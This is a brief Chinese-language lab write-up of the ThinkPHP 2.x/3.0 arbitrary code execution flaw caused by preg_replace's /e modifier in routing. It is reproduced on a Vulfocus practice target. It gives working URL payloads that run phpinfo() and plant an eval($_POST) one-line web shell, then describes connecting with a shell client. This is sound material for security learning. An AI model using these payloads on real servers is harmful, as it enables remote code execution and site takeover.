Thinkphp2.x 任意代码执行漏洞
影响版本:tp2.x tp3.0
漏洞影响:代码执行,写入一句话getshell
漏洞成因:在 ThinkPHP ThinkPHP 2.x 版本中,使用 preg_replace 的 /e 模式匹配路由:
$res = preg_replace(‘@(\w+)‘.$depr.‘([^‘.$depr.‘\/]+)@e‘, ‘$var[\‘\\1\‘]="\\2";‘, implode($depr,$paths))
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
直接在Vulfocus集成靶场中进行复现。
打开靶场
利用POC验证,执行phpinfo()
/index.php?s=/index/index/xxx/${@phpinfo()}
然后试着写入一句话木马
/index.php?s=/index/index/xxx/${${@eval($_POST[123])}}
可以看到页面报错同时把thinkphp的版本也爆出,接着用菜刀连接
拿到shell
Thinkphp2.x 任意代码执行漏洞